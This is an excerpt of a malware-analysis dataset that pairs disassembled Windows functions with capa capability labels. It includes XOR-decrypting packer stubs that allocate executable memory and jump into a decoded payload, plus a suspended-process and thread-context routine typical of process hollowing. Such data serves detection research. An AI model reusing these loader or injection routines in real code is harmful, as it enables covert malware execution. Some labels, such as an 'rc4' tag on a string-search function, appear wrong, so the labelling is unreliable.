joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b30
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x45cff2
push 2
call fcn.00417180
add esp, 8
push 0
call fcn.00409c00
add esp, 4
mov dword [0x45cfe4], eax
push 1
call fcn.00409c00
add esp, 4
mov dword [0x45cfe0], eax
mov dword [0x45cfec], 0
mov dword [0x45cfe8], 1
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401920
add esp, 0xc
mov edx, dword [section..data]
push edx
call fcn.00402ba0
add esp, 4
push 1
call dword [0x45c008]
add esp, 4
push 0x45c0bc
call fcn.00402de0
add esp, 4
mov eax, dword [section..data]
push eax
push 0x45c0c4
call fcn.00409820
add esp, 8
test eax, eax
je 0x401bd6
mov ecx, dword [section..data]
push ecx
call fcn.00402de0
add esp, 4
push 1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401920
add esp, 0xc
mov dword [ebp - 4], eax
mov ecx, 4
imul edx, ecx, 0x6b
cmp dword [edx + 0x45e1e0], 0
jne 0x401c05
mov dword [ebp - 8], 1
jmp 0x401c0c
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
mov dword [0x45e5e0], eax
cmp dword [0x45e5e0], 0
je 0x401c5d
mov ecx, dword [0x45e5e4]
push ecx
push 0x45c0cc
call fcn.00409820
add esp, 8
test eax, eax
je 0x401c5d
mov edx, dword [0x45e5e4]
push edx
mov eax, dword [section..data]
push eax
call fcn.00409820
add esp, 8
test eax, eax
je 0x401c5d
mov ecx, dword [0x45e5e4]
push ecx
call fcn.00402de0
add esp, 4
mov edx, dword [0x45e5e4]
push edx
call fcn.004025a0
add esp, 4
push 0
call dword [0x45c008]
add esp, 4
mov eax, 4
imul ecx, eax, 0x71
cmp dword [ecx + 0x45e1e0], 0
jne 0x401c99
mov edx, 4
imul eax, edx, 0x51
cmp dword [eax + 0x45e1e0], 0
je 0x401cfa
mov dword [ebp - 0xc], 0x45c0d4
push str.rr_:.
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0040ac20
add esp, 8
mov dword [0x45cfe4], eax
cmp dword [0x45cfe4], 0
je 0x401cdd
mov edx, dword [0x45cfe4]
push edx
call dword [0x45c00c]
add esp, 4
mov eax, dword [0x45cfe4]
push eax
call fcn.00409f20
add esp, 4
mov ecx, 4
imul edx, ecx, 0x51
cmp dword [edx + 0x45e1e0], 0
je 0x401cf8
push 0
call fcn.004028a0
add esp, 4
jmp 0x401d70
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 8]
jge 0x401d61
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jge 0x401d5f
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
push 0x45c0dc
mov eax, dword [ebp - 0x10]
push eax
call fcn.0040ac20
add esp, 8
mov dword [0x45cfe4], eax
cmp dword [0x45cfe4], 0
je 0x401d5d
mov ecx, dword [0x45cfe4]
push ecx
call dword [0x45c00c]
add esp, 4
mov edx, dword [0x45cfe4]
push edx
call fcn.00409f20
add esp, 4
jmp 0x401d02
jmp 0x401d70
mov eax, dword [0x45cfe4]
push eax
call dword [0x45c00c]
add esp, 4
mov ecx, dword [0x45cfe0]
push ecx
call fcn.0040a900
add esp, 4
mov edx, dword [0x45cfe0]
push edx
call fcn.00409f20
add esp, 4
push 0
call fcn.004158d0
mov esp, ebp
pop ebp
ret
Function at 0x406d70
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.00406990
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x406da2
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x44614c]
call dword [ebp - 8]
jmp 0x406dac
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret

Function at 0x42ec53
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp 0x444de0
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x45d4a0], 1
jge 0x444e4f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
je 0x444e25
mov edx, dword [ebx + 8]
movzx eax, word [edx]
movzx ecx, word [ebx + 0xc]
cmp eax, ecx
je 0x444e25
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x444e02
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x444e3b
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
jmp 0x444e42
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x444f3f
movzx ecx, word [ebx + 0xc]
movd xmm0, ecx
movaps xmmword [ebp - 0x30], xmm0
pshuflw xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
pshufd xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebx + 8]
and edx, 0xfff
cmp edx, 0xff0
ja 0x444f10
mov eax, dword [ebx + 8]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pxor xmm0, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pcmpeqw xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x40]
pcmpeqw xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
por xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pmovmskb ecx, xmm0
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x444f05
bsf edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 8]
mov dword [ebx + 8], eax
mov ecx, dword [ebx + 8]
movzx edx, word [ecx]
movzx eax, word [ebx + 0xc]
cmp edx, eax
jne 0x444ef9
mov ecx, dword [ebx + 8]
mov dword [ebp - 0xc], ecx
jmp 0x444f00
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
jmp 0x444f3f
mov edx, dword [ebx + 8]
add edx, 0x10
mov dword [ebx + 8], edx
jmp 0x444f3a
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x444f23
mov eax, dword [ebx + 8]
jmp 0x444f3f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x444f31
xor eax, eax
jmp 0x444f3f
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x444e6f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x402b18
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x402b27
pop dword [ebp - 0x18]
mov eax, 0x74bfead2
sub eax, 0x747fbfab
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x9aeff8bb
add dword [ebp - 0x28], 0xb3624c90
mov dword [ebp - 0x24], 0xf63dc054
add dword [ebp - 0x24], 0x3bf58bf1
mov dword [ebp - 0x20], 0xd9907584
sub dword [ebp - 0x20], 0x8d443156
mov dword [ebp - 0x1c], 0x7cd17d42
add dword [ebp - 0x1c], 0x832e82be
lea eax, [ebp - 0x28]
push eax
mov eax, 0xb38ac421
sub eax, 0xb34893ad
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xe63d3c29
sub dword [ebp - 0x28], 0x71cad2d3
mov dword [ebp - 0x24], 0x96bf5558
sub dword [ebp - 0x24], 0x5552f3e3
mov dword [ebp - 0x20], 0xe73d5788
sub dword [ebp - 0x20], 0x83cdeb1c
mov dword [ebp - 0x1c], 0xf2f7255d
sub dword [ebp - 0x1c], 0xf2f7255d
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x886a257f
add eax, 0x77d80ba5
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x4140c
push 0
call eax
mov ecx, 0x7a667964
add ecx, 0x8599dccc
xor ebx, ebx
add ebx, eax
mov edi, 0x434400
add edi, dword [ebp - 0x18]
mov edx, 0x46d7aa1c
mov esi, dword [edi]
sub dword [ebp - 4], ecx
xor esi, edx
mov dword [ebp - 0x14], 0xb3027124
mov dword [ebx], esi
add ebx, 4
add edi, 4
loop 0x402c3f
add eax, 0x84676d40
add eax, 0x7b99de53
mov ebx, eax
add eax, 0xbc5a5c43
sub eax, 0xbc5a5c3e
mov ecx, 0xc17a41d4
sub ecx, 0xc13a41d4
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1002aaee
pop dword [ebp - 0x10]
mov eax, 0xf748d0c
sub eax, 0xff71e21e
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xabbcf5eb
add dword [ebp - 0x20], 0xa2954f60
mov dword [ebp - 0x1c], 0xed1a50e2
add dword [ebp - 0x1c], 0x4518fb63
mov dword [ebp - 0x18], 0x78aa8cc4
add dword [ebp - 0x18], 0xd3a1b76a
mov dword [ebp - 0x14], 0x9da72c5
add dword [ebp - 0x14], 0xf6258d3b
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xb6c82ebc
add dword [ebp - 0x20], 0xbdaa3a9a
mov dword [ebp - 0x1c], 0x6a4cd85b
sub dword [ebp - 0x1c], 0x28e076e6
mov dword [ebp - 0x18], 0xa56e5f53
sub dword [ebp - 0x18], 0x41fef2e7
mov dword [ebp - 0x14], 0xebb5cc7d
add dword [ebp - 0x14], 0x144a3383
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xb2078e31
add eax, 0x5dfb31f7
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x36e54
push 0
call eax
mov ecx, 0xe5eda4e1
add ecx, 0x1a12a4d5
mov esi, eax
mov edi, 0x78be26ef
sub edi, 0x68ba90ef
add edi, dword [ebp - 0x10]
mov ebx, 0xaa4730c9
add ebx, 0xe703c59c
sub dword [ebp - 4], ecx
mov edx, dword [edi]
add edx, ebx
xor dword [ebp - 8], ecx
mov dword [esi], edx
add esi, 0x8f74449d
add esi, 0x708bbb67
add edi, 0x7b90369f
sub edi, 0x7b90369b
loop 0x1002ac0b
add eax, 0x119ab
mov ebx, eax
add eax, 0x8dfaa588
add eax, 0x72055a7d
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40d08b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40d09a
pop dword [ebp - 0x40]
mov eax, 0x40d09a
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x38d76
push 0
mov eax, 0x6ec52b0b
add eax, 0x917bb5cd
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0xd48fc166
add ecx, 0x2b708506
mov edx, eax
mov ebx, 0x6986f972
add ebx, 0x96ba4252
add ebx, dword [ebp - 0x40]
mov edi, 0x19df1871
add edi, 0x29423cfc
mov dword [ebp - 0x20], 0x7ad9dfc7
mov esi, dword [ebx]
sub dword [ebp - 0x2c], edi
add esi, edi
xor dword [ebp - 8], ebx
mov dword [edx], esi
add dword [ebp - 0x30], 0xf04adf4c
add edx, 4
add ebx, 4
loop 0x40d0f4
add eax, 0x245a7d37
add eax, 0xdba68f4c
xor ebx, ebx
add ebx, eax
add eax, 0xb2cde537
sub eax, 0xb2cde532
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x44f830
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, dword [esp + 4]
xor edx, eax
mov dword [esp + 4], edx
mov esi, dword [esp + 4]
push esi
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
cmp dword [0x50d008], 0xbb40e64e
je 0x44f8a4
test dword [0x50d00c], 0xffff0000
je 0x44f8a4
mov eax, dword [0x50d0a8]
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
push eax
push ecx
push edx
push esi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov eax, dword [0x50d008]
push 0
not eax
mov esi, eax
mov dword [0x50d00c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x44f8e8
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_GetACP]
mov eax, dword [esp + 0xc]
mov esi, dword [esp + 8]
mov edx, dword [esp + 4]
xor eax, esi
mov esi, eax
xor eax, edx
cmp eax, 0xbb40e64e
je 0x44f8d7
test dword [0x50d008], 0xffff0000
jne 0x44f8dc
mov eax, 0xbb40e64f
mov dword [0x50d008], eax
not eax
mov dword [0x50d00c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 4]
xor eax, ecx
lea ecx, [esp + 4]
xor eax, ecx
push eax
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop esi
add esp, 0xc
ret
Function at 0x4b8810
Capabilities:
Delete file
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x4dce90]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
push edi
jne 0x4b8995
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
add ebx, 0x1000
cmp eax, 0x14
mov dword [ebp - 0x10], ebx
jae 0x4b88c7
push str.mshtml.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
mov dword [ebp - 0xc], edi
je 0x4b8891
push str.FixIEW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, dword [0x50d0a8]
push eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test esi, esi
je 0x4b888a
pushal
mov eax, dword [ebp - 8]
push 0
push 0
push 0
push 0
call eax
popal
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 2
push ebx
mov dword [0x4dce90], ebx
call esi
test eax, eax
jne 0x4b8976
mov ecx, dword [0x4dce90]
cmp word [ecx], 0x5a4d
jne 0x4b8976
mov eax, dword [ecx + 0x3c]
push 0x100
add eax, ecx
push eax
mov dword [0x4dcef4], eax
call esi
test eax, eax
jne 0x4b8976
mov eax, dword [0x4dcef4]
cmp word [eax], 0x4550
jne 0x4b8976
mov ecx, dword [eax + 0x28]
mov edx, dword [0x4dce90]
mov eax, dword [eax + 8]
add ecx, edx
cmp eax, 0x5abba00d
mov dword [ebp - 0x10], ecx
je 0x4b8989
cmp eax, 0x5af06e8d
je 0x4b8989
cmp eax, 0x5b79bd28
je 0x4b8989
cmp eax, 0x5aafbe34
je 0x4b894e
cmp eax, 0x5add9069
je 0x4b894e
cmp eax, 0x5b73d047
jne 0x4b8976
mov eax, dword [0x4dce90]
push eax
mov eax, 3
push eax
xor eax, eax
push eax
mov eax, dword [ebp - 0x10]
call eax
mov eax, dword [0x4dce90]
push eax
mov eax, 1
push eax
xor eax, eax
push eax
mov eax, dword [ebp - 0x10]
call eax
mov eax, dword [ebp - 4]
inc eax
cmp eax, 0x70000
mov dword [ebp - 4], eax
jae 0x4b8995
jmp 0x4b882b
call fcn.004b8810
int3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4d2b91
Capabilities:
Terminate process

Disassembly:
cmp dword [0x53d518], 1
jne 0x4d2b9f
call 0xe84d3f20
push ss
add dword [eax], eax
add al, 0xe8
mov cl, 0x13
add byte [eax], al
pop ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100015f0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
lea eax, [ebp - 0x18]
mov dword [ebp - 0x78], 0x44
push eax
lea eax, [ebp - 0x78]
xorps xmm0, xmm0
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push dword [ebp + 8]
movlpd qword [ebp - 0x74], xmm0
push 0
movlpd qword [ebp - 0x6c], xmm0
movlpd qword [ebp - 0x64], xmm0
movlpd qword [ebp - 0x5c], xmm0
movlpd qword [ebp - 0x54], xmm0
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
test eax, eax
je 0x100016e8
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetThreadContext
push 0x1005d1f8
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0x1005d208
push 0x1005d1f8
mov ebx, eax
call edi
push eax
call esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
mov dword [eax], ecx
mov ecx, dword [ebp + 0x18]
mov eax, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
push esi
mov dword [esi], 0x10007
push dword [edx]
call ebx
mov edi, dword [ebp + 0x1c]
lea eax, [ebp - 8]
mov ebx, dword [ebp + 0x10]
push eax
mov eax, dword [esi + 0xa4]
push 4
push edi
add eax, 8
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [edi]
lea eax, [ebp - 0x34]
push 0x1c
push eax
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov eax, dword [ebp + 0x20]
sub esi, dword [edi]
pop edi
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001700
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0x10]
xor edx, edx
mov ecx, 0x46b
div ecx
push ebx
xor ecx, ecx
lea ebx, [edx - 0x58]
mov edx, dword [ebp + 0xc]
movsx eax, bl
movd xmm0, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
test edx, edx
je 0x10001774
mov eax, dword [ebp + 8]
cmp edx, 0x10
jb 0x1000175f
push esi
mov esi, edx
and esi, 0xfffffff0
nop
movups xmm0, xmmword [eax]
add ecx, 0x10
xorps xmm0, xmm1
paddb xmm0, xmm1
xorps xmm0, xmm1
movups xmmword [eax], xmm0
add eax, 0x10
cmp ecx, esi
jb 0x10001740
pop esi
cmp ecx, edx
jae 0x10001774
sub edx, ecx
mov cl, byte [eax]
lea eax, [eax + 1]
xor cl, bl
add cl, bl
xor cl, bl
mov byte [eax - 1], cl
sub edx, 1
jne 0x10001761
pop ebx
pop ebp
ret
Function at 0x100017d0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0
push 0x80
push 3
push 0
push 1
push 1
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100017fb
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.100133d2
push esi
mov edi, eax
push 0
push edi
call fcn.10014ea0
add esp, 0x10
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xd3
push esi
push edi
call fcn.10001700
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
push edi
call fcn.10001880
push edi
mov esi, eax
call fcn.100133db
add esp, 0x20
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001f4d8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001f517
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001f517
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001f517
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001f517
cmp dword [ecx + 0x74], 0xe
jbe 0x1001f517
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1003e974
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x10125040]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x1003e9bf
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.1003ee14
test al, al
jne 0x1003e9b9
sub edx, 2
cmp edx, edi
jne 0x1003e99f
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x1003e9e1
lea eax, [edi + 2]
cmp edx, eax
je 0x1003e9e1
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.1003e63b
add esp, 0x10
jmp 0x1003eadb
push esi
lea ecx, [ebp - 0x255]
call fcn.1003ee14
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1003ea24
push dword [ebp - 0x25c]
jmp 0x1003e9d1
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x1003ea61
cmp word [ebp - 0x226], 0
je 0x1003ea82
cmp word [ebp - 0x226], ax
jne 0x1003ea61
cmp word [ebp - 0x224], 0
je 0x1003ea82
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.1003e63b
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x1003eace
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x1003ea3b
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x1003eab6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x1003eadb
push 0x1003e08b
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.10047b90
add esp, 0x10
jmp 0x1003eaab
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100133e0
leave
ret
Function at 0x10040528
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100405c5
push ebx
push esi
call fcn.100404e4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10040421
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10040572
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100405c4
push edi
push eax
call fcn.1003cd24
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10040592
call fcn.1003cd78
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100405c3
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10040421
add esp, 0x20
test eax, eax
jne 0x100405b1
push edi
call fcn.1003cd78
jmp 0x100405b9
push ebx
call fcn.1003cd78
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100405c8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100405d9
pop esi
ret
push ebx
push edi
push esi
call fcn.100404e4
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1003cd24
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10040601
push ebx
push esi
push edi
call fcn.1001d470
add esp, 0xc
push 0
call fcn.1003cd78
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10040ef0
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10040876

Function at 0x100418e2
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1005f1a4
push 0x1005f19c
push str.FlsAlloc
push 0x1f
call fcn.100415b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10041916
push dword [ebp + 8]
mov ecx, esi
call dword [0x1005d17c]
call esi
jmp 0x1004191c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10041960
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1005f1b4
push 0x1005f1ac
push str.FlsGetValue
push 0x21
call fcn.100415b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10041997
push dword [ebp + 8]
mov ecx, esi
call dword [0x1005d17c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1004199f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1005f1bc
push 0x1005f1b4
push str.FlsSetValue
push 0x22
call fcn.100415b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100419d9
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1005d17c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]